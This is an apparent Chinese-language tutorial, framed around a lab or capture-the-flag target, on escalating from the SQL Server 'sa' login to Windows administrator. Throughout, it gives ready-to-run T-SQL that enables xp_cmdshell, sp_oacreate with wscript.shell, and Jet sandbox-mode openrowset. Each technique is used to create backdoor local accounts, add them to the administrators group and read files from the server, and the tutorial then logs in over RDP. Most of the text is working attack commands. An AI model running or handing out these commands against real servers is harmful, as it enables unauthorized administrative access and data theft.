# SQL Server(MSSQL)提权

总结一下,下文使用有效命令全部为:

--1.xp_cmdshell提权
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'xp_cmdshell',1;reconfigure;
#master..xp_cmdshell的全写是master.dbo.xp_cmdshell
exec master..xp_cmdshell 'net user HeyJack HeyJack /add';
exec master..xp_cmdshell 'net localgroup administrators HeyJack /add';
exec master..xp_cmdshell 'ipconfig'
exec master..xp_cmdshell 'type C:\Documents and Settings\桌面\flag.txt';
--恢复语句
exec sp_configure 'xp_cmdshell' ,0;reconfigure;
exec sp_configure 'show advanced options', 0;reconfigure;

--2.sp_oacreate提权
exec sp_configure 'show advanced options', 1;reconfigure;
exec sp_configure 'Ole Automation Procedures', 1;reconfigure;
declare @shell int;
exec sp_oacreate 'wscript.shell', @shell output;
exec sp_oamethod @shell, 'run',null,'c:\windows\system32\cmd.exe /c net user HeyJack1 HeyJack1 /add'
declare @shell int;
exec sp_oacreate 'wscript.shell', @shell output;
exec sp_oamethod @shell, 'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators HeyJack1 /add'
--恢复语句
exec sp_configure 'Ole Automation Procedures', 0;reconfigure;
exec sp_configure 'show advanced options', 0;reconfigure;

--3.沙盒提权(不常用,所以没粘贴出来)

# 0x01 环境准备

输入用户名和密码,以 sa 身份登录 SQL Server2005

image-20220927205858375

登录后可以看到这样的界面

image-20220927210049933

首先我们了解下什么是 sp_configure?

image-20220927210431221

其中,在列出高级配置选项的例子中,官网显示了如何设置和列出所有配置选项:首先就是要设置 show advanced options1 ,可以显示高级选项。

USE master;  
GO
EXEC sp_configure 'show advanced options', '1';

sp_configure 的作用是显示或更改当前服务器的全局配置的高级选项,执行成功返回 0,失败返回 1,其中高级选项中包含 cmdshell 等。

# 0x02 xp_cmdshell 提权步骤

# ①第一步,更改当前服务器的全局配置首选高级选项为 1

#以下大写字母均可小写
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;

image-20220927211220768

使用鼠标选中一行,然后右键选择执行

image-20220927211614093

# ②第二步,打开 cmd-shell

exec sp_configure 'xp_cmdshell', 1;reconfigure;

image-20220927211736845

# ③第三步,输入你想执行的 windows cmd 命令。

exec master..xp_cmdshell 'whoami';

image-20220927211958154

言归正传,我们为系统添加属于 攻击者自己的net user账户 (主要目的是使用已知的用户名和密码)

#比如,账户名是HeyJack 密码也是HeyJack
exec master..xp_cmdshell 'net user HeyJack HeyJack /add'

image-20220927212339481

此时,我们在 windows 的 cmd 里,执行 net user

#这一步是在服务器里面查看。当然,现在只是为了展示我们的创建结果。
net user

image-20220927212609276

"开始" 菜单 — 管理工具 — 计算机管理 — 本地用户和组 — 用户 —HeyJack 右键属性 — 隶属于

查看当前分组在 Users 组

image-20220927212746484

# ④第四步,将你新建的用户移到 administrators 组

exec master..xp_cmdshell 'net localgroup administrators HeyJack /add'

image-20220927213122417

继续查看我们的分组情况,可以看到,提权成功:

image-20220927213219218

# ⑤第五步,获取远程服务器中的目标文件

我们假设,服务器中管理员 Administrator 创建了一个 flag.txt 文件放在了桌面,我们的 最终目的 就是为了获取它

image-20220927221944235

# 第一种方案,3389 远程连接

在 win+R 输入 mstsc

image-20220927213803912

查看服务器 ip 并在自己的客户端上连接,ip 地址也可以通过 SQL 提权命令 + “ipconfig” 来获取

image-20220927221540178

然后 3389 远程连接

image-20220927213905588

输入刚刚新建的用户民和密码

image-20220927214036680

登录成功

image-20220927214149105

然后打开 “我的电脑”— 进入 C 盘 — 找到 “Documents and Settings”— 选择 “Administrators”— 桌面 — 即可看到 flag.txt

image-20220927221815971

# 第二种方案,使用 SQL 提权命令获取内容

另外,也可以使用 SQL 提权命令去当前管理员用户桌面查找(一般 flag 会放在桌面上)

#dir命令查看当前路径
exec master..xp_cmdshell 'dir';
#type命令查看文件内容,一般低版本中,windows桌面的路径为:C:\Documents and Settings\桌面\flag.txt
exec master..xp_cmdshell 'type C:\Documents and Settings\Administrator\桌面\flag.txt'

image-20220927221113281

# 0x03 sp_oacreate 提权步骤

# ①第一步,更改当前服务器的全局配置首选高级选项为 1

exec sp_configure 'show advanced options', 1;reconfigure;

# ②第二步,配置 OLE 过程

exec sp_configure 'Ole Automation Procedures' ,1;reconfigure;

# ③第三步,定义 shell 变量,int 类型。

declare @shell int;

# ④第四步,生成 shell 对象

将结果赋值给第③步生成的 shell 变量里头。

exec sp_oacreate 'wscript.shell', @shell output;

# ⑤第五步,调用 shell 对象的 run 方法来调用 net user

返回值是 null,方法体是执行 system32 目录下的 cmd.exe,并使用 net user 生成 HeyJack1 账号

exec sp_oamethod @shell, 'run',null,'c:\windows\system32\cmd.exe /c net user HeyJack1 HeyJack1 /add'

image-20220927230925606

# ⑥第六步,调用 shell 对象的 run 方法来调用 net localgroup

返回值是 null,方法体是执行 cmd,并使用 net localgroup 将 HeyJack1 挪到 administrators 组下

exec sp_oacreate 'wscript.shell', @shell output;
exec sp_oamethod @shell, 'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators HeyJack1 /add'

image-20220927231033604

以上是使用 sp_oacreate 的提权语句,主要是用来调用 OLE 对象(Object Linking and Embedding 的缩写,VB 中的 OLE 对象),利用 OLE 对象的 run 方法执行系统命令。

在 oacreate 的官方文档里明确指出了,如果要使用 OLE 对象,必须要开启 ‘Ole Automation Procedures’,也就是 EXEC sp_configure ‘Ole Automation Procedures’, 1;

执行上面这条语句前要执行 exec sp_configure 'show advanced options', 1;

官方对这句话的解释是: show advanced options ,**“显示高级选项”** 选项用来显示 sp_configure 系统存储过程高级选项。

当 **“显示高级选项”** 设置为 1 时,可以使用 sp_configure 列出高级选项。 默认值为 0

# 0x04 沙盒提权步骤 (不常用)

--提权语句

exec sp_configure 'show advanced options' ,1;reconfigure;

-- 不开启的话在执行xp_regwrite会提示让我们开启,

exec sp_configure 'Ad Hoc Distributed Queries' ,1;reconfigure;

--关闭沙盒模式,如果一次执行全部代码有问题,先执行上面两句代码。

exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD' ,0;

--查询是否正常关闭,经过测试发现沙盒模式无论是开,还是关,都不会影响我们执行下面的语句。

exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines', 'SandBoxMode'

--执行系统命令select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net user HeyJack2 HeyJack2 /add")')

select * from openrowset('microsoft.jet.oledb.4.0',';database=c:/windows/system32/ias/ias.mdb','select shell("net localgroup administrators HeyJack2 /add")')

沙盒模式 SandBoxMode 参数含义(默认是 2)

0 :在任何所有者中禁止启用安全模式

1 :为仅在允许范围内

2 :必须在 access 模式下

3 :完全开启

openrowset 是可以通过 OLE DB 访问 SQL Server 数据库,OLE DB 是应用程序链接到 SQL Server 的的驱动程序。

--恢复配置
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD' ,1;
exec sp_configure 'Ad Hoc Distributed Queries' ,0;reconfigure;
exec sp_configure 'show advanced options' ,0;reconfigure;

至此,SQL Server (MSSQL) 提权攻击演示完毕。